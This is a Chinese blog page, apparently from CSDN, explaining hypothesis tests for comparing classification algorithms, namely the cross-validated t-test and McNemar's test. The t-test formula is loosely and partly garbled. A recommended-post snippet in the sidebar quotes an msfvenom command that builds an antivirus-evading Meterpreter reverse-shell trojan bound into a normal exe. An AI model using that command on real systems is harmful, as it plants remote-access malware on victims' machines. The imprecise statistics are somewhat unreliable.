分类算法评估--假设检验

GLM实战指南:Logistic与泊松回归从原理到部署 广义线性模型(GLM)是统计学习的核心框架,它通过连接函数将响应变量的期望与解释变量的线性组合关联起来,从而突破了传统线性回归对响应变量正态分布的限制。这一原理使其能够处理更广泛的数据类型,技术价值在于为分类和计数问题提供了兼具可解释性与预测能力的基准解决方案。在应用场景上,Logistic回归专攻二分类问题,如金融风控中的信用评分和医疗诊断;泊松回归则针对计数数据,如网站流量预测和保险索赔次数建模。本文聚焦于这两个经典模型,通过Python的statsmodels和scikit-learn库,详细演示了从 阅读详情

我们有时需要比较两个分类算法a和b的优劣。直接看测试集合上的准确率当然是一个直观的想法,但是有时候,这些微小的差异可能是由于测试集合的随机性造成的,并不一定说明算法优劣。因此,需要用到统计学上的假设检验。

下面是常用的几种方法

1. student's test  [Dietterich, 1998]

首先对两个算法a和b,计算n次k-cross validation

对于单次 k-交叉验证,

d^i= err (a,i)- err(b,i) 表示在第i fold上两个算法的错误率的差

d = avg_k(  d^i )  对k fold取平均

s^2= 1/(K-1) *sum( (d^i-d)^2 ) 对k-fold取方差


设第j次交叉验证(j=1~n),获取的均值和方差分别为dj, sj^2

有  t= dj / (avg_n(sj^2) )^(1/2) ~ t2服从自由度为5的students分布,

按照假设检验理论,我们选定significant level= /alpha(一般选0.05或者0.1),查表获得自由度=5的student's分布的对应假设区间,当t落在对应区间上时,说明null hypthesis被接受,两个算法没有明显差异

这个检验的需要跑多次,一般来说至少是5次2-cross。


2. McNemar's test  [Dietterich, 1998]

令

err01= # 算法a中错误算法b中正确

err10= # 算法b中错误算法a中正确

(|err01-err10|-1 )^2/(err01+err10)  ~ x^2 分布


3. Friedman test

用于比较多个数据集上的多个算法。

(略,因为我看不懂)


机器学习中的假设检验 机器学习中的比较检验前言假设检验 前言   在前文中,我们了解了实验模型的评估方法和性能度量,看起来就能够对学习器进行评估比较了:先使用某种评估方法测得学习器的某个性能度量结果,然后对这些结果进行比较。那么如何作比较呢?是直接取得性能度量的值然后比“大小”吗?但实际上没有这么简单,因为我们希望比较的是泛化性能,但通过实验的方法我们能获得的只是测试集上的性能,两者未必相同,其次,由于测试集选择的不同... 阅读详情

相关推荐

53、机器学习实验中的分类器性能评估与统计检验

本文系统介绍了机器学习中分类器性能评估与统计检验的核心方法。内容涵盖ROC曲线与AUC、精度与召回率、灵敏度与特异度等性能指标,以及区间估计和假设检验的基本原理。重点讨论了二项检验、t检验、McNemar检验和配对t检验在评估和比较分类算法中的应用,并结合案例分析展示了具体操作流程。文章还总结了不同评估方法的适用场景及注意事项,为机器学习模型的科学评估提供了全面指导。

tequila的博客 59

54、机器学习实验中的分类器性能评估与统计检验

本文系统介绍了机器学习实验中分类器性能评估的多种方法,涵盖ROC曲线与AUC、信息检索中的精度与召回率、多类分类的混淆矩阵等性能测量指标。同时详细讲解了基于正态分布和t分布的区间估计与假设检验原理,并扩展到二项检验、近似正态检验、t检验在分类算法性能评估中的应用。针对算法比较,介绍了McNemar检验和K折交叉验证配对t检验。文章还分析了不同评估方法的应用场景、实际案例、注意事项及未来展望,为机器学习模型的科学评估提供了完整框架。

ik678901234的博客 64

20、机器学习实验的设计与分析

本文系统介绍了机器学习实验的设计与分析方法,涵盖实验策略、响应面设计、随机化与重复原则、交叉验证技术以及分类器性能评估。详细讨论了误差估计、置信区间构建和假设检验在算法比较中的应用,包括二项检验、t检验、McNemar检验及非参数检验方法。同时阐述了在单数据集和多数据集场景下比较两个或多个算法性能的统计方法,如方差分析(ANOVA)、Wilcoxon符号秩检验和Kruskal-Wallis检验,并强调实验设计中区组化、重复和随机化的重要性,为科学评估和比较机器学习算法提供了完整的框架。

uran的专栏 100

磁编码器选型避坑指南:为什么MT6816比霍尔传感器更适合你的伺服系统?

本文深入对比了MT6816磁编码器与传统霍尔传感器在伺服系统中的应用。MT6816基于AMR技术,对磁场方向敏感而非强度,具备高精度、强抗干扰、高安装容差和极低延时等优势,尤其适合高转速、恶劣环境下的工业场景,能有效提升系统可靠性与长期稳定性。

rainy的博客 1104

Jetson Nano 【1】入手开箱、烧系统

类似于半开箱哈哈 怀着小期待的心情,屁颠屁颠跑到村口领快递,拿到了这个香喷喷的Jetson Nano 开发板 开箱: 由于太激动了忘记拍点啥,于是在最后留了张全家福 板子的结构: 我觉得这个有必要记录一下,于是去官方文档拿了张图来:官方文档传送 1=SD card 的卡槽,位于第二层板子的背部,也就是大风扇屁股位置 2=40针扩展接头(还没开用) 3=USB的供电口,根据大佬测试(某哩...

椰子奶糖的博客 4196

【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】

准备被捆绑程序: 输入:msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/inst.exe > ~/Desktop/Trojan/test_msf_360.exe 目标主机执行,成功上线: ...

AA8j的博客 7650

Win7/Win10双系统兼容指南:Arduino IDE 1.8.19与2.3.2的安装避坑全攻略

本文详细解析了在Win7/Win10双系统环境下安装和配置Arduino IDE 1.8.19与2.3.2版本的完整指南,特别针对ESP32开发环境的深度配置和COM端口常见问题提供了实用解决方案。通过版本对比、安装优化和性能调优,帮助开发者高效搭建稳定的物联网开发环境。

weixin_30500105的博客 187

MTK Linux Charger驱动分析(二) - power_supply_core.c

的核心作用可以概括为:提供统一的电源管理框架;管理电源设备注册、属性访问、事件通知;封装sysfs 接口和 uevent 通知,屏蔽硬件细节;驱动开发者只需要实现,不关心底层通知和接口细节。简单来说,它是电源子系统的“大脑和中枢”,具体的电池/充电器只是“信息源”。

iTom1900 1490

【学习笔记】人群归因分数 PAF 以及combined PAF

人群归因风险比例(Population Attributable Fraction,PAF)是一个流行病学指标,它估计了在总体中,如果能消除一个特定的危险因素,能预防多少百分比的疾病或健康结果。简单来说,PAF回答的是:“如果没有这个风险因素,总体中会有多少病例是可以避免的?

weixin_53499537的博客 4902

Cyclone DDS背景技术

DDSI标准与DDS 1.2和1.4标准密切相关,DDSI中的实体与DCPS中的实体之间有明确的对应关系。但是,这种对应关系不是一一对应的。 此处,仅仅对DDSI规范的概念进行描述,暂不涉及Eclipse Cyclone DDS实现的细节。DDSI规范的概念将帮助对互操作性interoperability感兴趣的技术人员了解规范的外延边界和Eclipse Cyclone DDS实现的开始。

pony12的专栏 948

Coze工作流的代码无法安装第三方模块(依赖)怎么办?(如何解决Coze工作流代码缺少模块(依赖)的问题)

Coze工作流的代码无法安装第三方模块(依赖)怎么办?(如何解决Coze工作流代码缺少模块(依赖)的问题)

XiaoqiangClub的博客 4365

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

上一篇: shell的特殊字符
下一篇: Linux指定动态库搜索路径
windows2
博客等级 码龄18年 18粉丝 26原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值